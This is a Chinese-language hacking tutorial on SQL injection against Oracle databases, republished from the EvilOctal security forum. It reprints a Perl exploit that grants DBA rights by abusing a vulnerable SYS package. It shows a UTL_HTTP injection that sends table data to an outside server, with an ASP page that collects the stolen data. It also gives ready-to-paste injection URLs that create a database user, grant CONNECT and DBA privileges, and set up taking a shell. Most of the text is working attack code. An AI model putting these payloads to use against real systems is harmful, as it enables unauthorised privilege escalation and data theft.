ART OF WEB-SQL-INJECTION第2卷 ORACLE篇
ART OF WEB-SQL-INJECTION第2卷 ORACLE篇
发布时间:2016-12-26 来源:查字典编辑
摘要:文章作者:kj021320信息来源:邪恶八进制信息安全团队(www.eviloctal.com)注意:本文章首发I.S.T.O技术团队,后由...

文章作者:kj021320

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注意:本文章首发I.S.T.O技术团队,后由原创作者友情提交到邪恶八进制信息安全团队论坛。

author:kj021320

team:I.S.T.O

很多人都说什么ASPPHPJSP注射其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助

例如ASP/ASPXJSP啥限制都没!而PHP则会把'过滤为'但是若然不是MYSQLPOSTGRESQLSQLITE的话这个功能就废了!

但是我觉得这些脚本语言都不狠~如果CFM的话估计你就没折了!具体各数据库相关信息请参看

ARTOFWEB-SQL-INJECTION第1卷感谢AMXSA以及I.C.E多我的支持

OK言归正传,在国外对ORACLE的攻击一直很收关注,只是国内研究的人不太多,或者技术不够~这里我就打响第一炮吧!

SQLINJECTION都是要看数据库的SQL解析引擎的,ORACLE这个就不支持多语句执行了!

大家要是用PLSQL那些工具可以用;来执行多个语句!

那是因为工具上面帮你做了多个语句分别提交

ORACLE注射在国外提出了好些攻击方式,但是能够websqlinjection利用的没多少!

在早期ngs和ARGENISS都相对提出了FUNCTION/PROCEDURE的注入方式!

也就是用户自己定义的一些函数或者存储过程会存储SQL-INJECTION

我拿一个MSSQL的函数作为例子

createfunctionISTO_KJ021320(@sqlvarchar(100))

RETURNSint

begin

exec('SELECT*FROMKJ021320WHERENAME='''+@sql+'''');

end

以上这样的方式无疑@sql这个参数没有过滤存在SQL注入了!

同样在ORACLE中这样的方式特别出众,首先从用户定义的函数到系统函数

系统包里面的函数一般都是操作一些系统表!普通用户是无办法查取的

但是调用这些系统函数就可以获取相应的信息~

很容易理解ORACLE权限管理的机制

用户--->调用函数(继承函数创建者的权限)--->执行操作

那么我们只需要做的是改函数里面的操作进行添加用户,建DBA等...

milw0rmsecurityfocus红色数据库安全...公布的方法都是很简单的说给了应用而没有说明道理~

那就由我代劳翻印讲解一下吧~

例如以下的官方公布的是

DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION这个包的这个函数存储INJECTION

OK在milw0rm上面公布的exploit是一段PERL写的代码

usewarnings;

usestrict;

useDBI;

useGetopt::Std;

usevarsqw/%opt/;

subusage{

print<<"USAGE";

Syntax:$0-h<host>-s<sid>-u<user>-p<passwd>-g|-r[-P<port>]

Options:

-h<host>targetserveraddress

-s<sid>targetsidname

-u<user>user

-p<passwd>password

-g|-r(g)rantdbatouser|(r)evokedbafromuser

[-P<port>Oracleport]

USAGE

exit0

}

my$opt_string='h:s:u:p:grP:';

getopts($opt_string,%opt)or&usage;

&usageif(!$opt{h}or!$opt{s}or!$opt{u}or!$opt{p});

&usageif(!$opt{g}and!$opt{r});

my$user=uc$opt{u};

my$dbh=undef;

if($opt{P}){

$dbh=DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}",$opt{u},$opt{p})ordie;

}else{

$dbh=DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}",$opt{u},$opt{p})ordie;

}

my$sqlcmd="GRANTDBATO$user";

print"[-]Wait...n";

if($opt{r}){

print"[-]RevokingDBAfrom$user...n";

$sqlcmd="REVOKEDBAFROM$user";

$dbh->do($sqlcmd);

print"[-]Done!n";

$dbh->disconnect;

exit;

}

print"[-]Creatingevilfunction...n";

$dbh->do(qq{

CREATEORREPLACEFUNCTIONOWNRETURNNUMBER

AUTHIDCURRENT_USERAS

PRAGMAAUTONOMOUS_TRANSACTION;

BEGIN

EXECUTEIMMEDIATE'$sqlcmd';COMMIT;

RETURN(0);

END;

});

print"[-]Go...(don'tworryabouterrors)!n";

my$sth=$dbh->prepare(qq{

BEGIN

SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');

END;

});

$sth->execute;

$sth->finish;

print"[-]YOUGOTTHEPOWAH!!n";

$dbh->disconnect;

exit;

-------

以上的方法其实就是首先自己要建立一个函数叫OWN里面的操作就是

GRANTDBATO$user把DBA权限授予某个用户!

然后到有存在注入的存储过程中

SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION(放入OWN函数);

因为

ACTIVATE_SUBSCRIPTION方法存在注射

所以会直接执行own函数去添加一个权限

这里演示的是需要先建立一个函数的!但是我们WEBSQLINJ的时候不能写多个SQL来建个函数啊!

有什么方法?

ACTIVATE_SUBSCRIPTION存在注射当然也可以把后面的语句屏蔽了!跟我们WEBSQLINJ差不多

具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入inORACLE>>的文章

以上原理介绍完了开始实战!

记得很多文章说要是SQL语句这样子写

sqlstr="beginselect*fromkj021320wherename=$name;end;";

可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了

sqlstr="select*fromkj021320wherename=$name";

所以在,ORACLEWEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档

在web存在一个注射点

http://127.0.0.1:8080/VOA/test.jsp?id=282数字型的

那么我们首先来确认这个用户的权限

http://127.0.0.1:8080/VOA/test.jsp?id=282andexists(select*fromdba_tables)

在这里一个小细节

讲讲ORACLE的系统表部分

DBA开头的只有DBA权限的用户才能访问例如DBA_USERSDBA_TABLES

而一般用户都能查询

user_tables跟all_tables这两个系统表前者是本用户自己的表!后者是自己的表以及人家授权给你查询的表!

一般注射软件只需要查询这两个表就可以获取用户的表结构了

回到上面的注射一般都会返回false的!

没关系其实有函数注射权限对我们来说不重要~

那现在怎么确认ORACLE主机的位置呢?也就是说他的IP跟WEB是不是同一个机器

那么我们采用

UTL_HTTP这个包里面的request函数

例子:

SELECTUTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME)FROMUSER_TABLESWHEREROWNUM<=1

他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式可以参看

ARTOFWEB-SQL-INJECTION第1卷

那么我们怎么构造这个注射呢?很简单!

http://127.0.0.1:8080/VOA/test.jsp?id=282and'1'in(SELECTUTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME)FROMUSER_TABLES)

这样子!

然而我们得构造一个页面接收请求的参数!ASP简单实现

<%

ifrequest("data")=""then

response.WriteApplication("oracle_data")

else

dimdataValue

dataValue=request.ServerVariables("REMOTE_HOST")&"data:"&request("data")&"<br>"

ifrequest("clear")<>""then

Application("oracle_data")=dataValue

else

Application("oracle_data")=Application("oracle_data")&dataValue

endif

endif

%>

除非他数据库是内网不然一般我们都可以获取他的IP地址以及数据~比猜表还快!

接下来我们可以获取他的IP然后扫他的ORA端口SID可以通过SELECT查询获取或者用tnscmd检测!

节下来我就直接一点了!

拿出06年国外公布的一个ODAY

GET_DOMAIN_INDEX_TABLES但是国外好象没给出更多的利用信息

就是这样而已,看当时的说明

CREATEORREPLACE

PACKAGEMYBADPACKAGEAUTHIDCURRENT_USER

IS

FUNCTIONODCIIndexGetMetadata(oindexinfoSYS.odciindexinfo,P3

VARCHAR2,p4VARCHAR2,envSYS.odcienv)

RETURNNUMBER;

END;

/

CREATEORREPLACEPACKAGEBODYMYBADPACKAGE

IS

FUNCTIONODCIIndexGetMetadata(oindexinfoSYS.odciindexinfo,P3

VARCHAR2,p4VARCHAR2,envSYS.odcienv)

RETURNNUMBER

IS

pragmaautonomous_transaction;

BEGIN

EXECUTEIMMEDIATE'GRANTDBATOHACKER';

COMMIT;

RETURN(1);

END;

END;

/

DECLARE

INDEX_NAMEVARCHAR2(200);

INDEX_SCHEMAVARCHAR2(200);

TYPE_NAMEVARCHAR2(200);

TYPE_SCHEMAVARCHAR2(200);

VERSIONVARCHAR2(200);

NEWBLOCKPLS_INTEGER;

GMFLAGSNUMBER;

v_ReturnVARCHAR2(200);

BEGIN

INDEX_NAME:='A1';INDEX_SCHEMA:='HACKER';

TYPE_NAME:='MYBADPACKAGE';TYPE_SCHEMA:='HACKER';

VERSION:='10.2.0.2.0';GMFLAGS:=1;

v_Return:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(

INDEX_NAME=>INDEX_NAME,INDEX_SCHEMA=>INDEX_SCHEMA,TYPE_NAME

=>TYPE_NAME,

TYPE_SCHEMA=>TYPE_SCHEMA,VERSION=>VERSION,NEWBLOCK=>

NEWBLOCK,GMFLAGS=>GMFLAGS

);

END;

/

具体注射点在第3个参数

我现在不采用函数形式

直接在里面插入SQL语句

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTEIMMEDIATE''DECLAREPRAGMAAUTONOMOUS_TRANSACTION;BEGINEXECUTEIMMEDIATE''''CREATEUSERKJ021320IDENTIFIEDBYKJ021320'''';END;'';END;--','SYS',0,'1',0)

这样就可以建立一个用户了!

我们构造SQL

http://127.0.0.1:8080/VOA/test.jsp?id=282and''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTEIMMEDIATE''DECLAREPRAGMAAUTONOMOUS_TRANSACTION;BEGINEXECUTEIMMEDIATE''''CREATEUSERKJ021320IDENTIFIEDBYKJ021320'''';END;'';END;--','SYS',0,'1',0)=''

这样提交就会建立一个KJ021320用户而密码也是KJ021320

可以了建立了用户也不行~~先给这个用户添加连接的权限

http://127.0.0.1:8080/VOA/test.jsp?id=282and''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTEIMMEDIATE''DECLAREPRAGMAAUTONOMOUS_TRANSACTION;BEGINEXECUTEIMMEDIATE''''GRANTCONNECTTOKJ021320'''';END;'';END;--','SYS',0,'1',0)=''

再用此方法添加一个DBA权限!既然你是ORACLE的DBA那采用什么方法去写本地文件拿shell

方法多的是!别说备份了!PRO*CSQLJ都可以!接下来留给你们吧!

视频演示http://www.isto.cn/vedio/artwebinj-oracle.rar

PS:之前发了几篇MSSQL的利用都给superhei说有人发表过了!郁闷得很!看来偶不只是孤陋寡闻这么简单!发表时间还是个重点问题!呵呵!现在这篇估计国内暂时还没有人有发过了吧?可以叫自己一声中国websqlinjectioninoralce之父么~哈哈!装A完毕!-_-

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新安全教程学习
热门安全教程学习
实用技巧子分类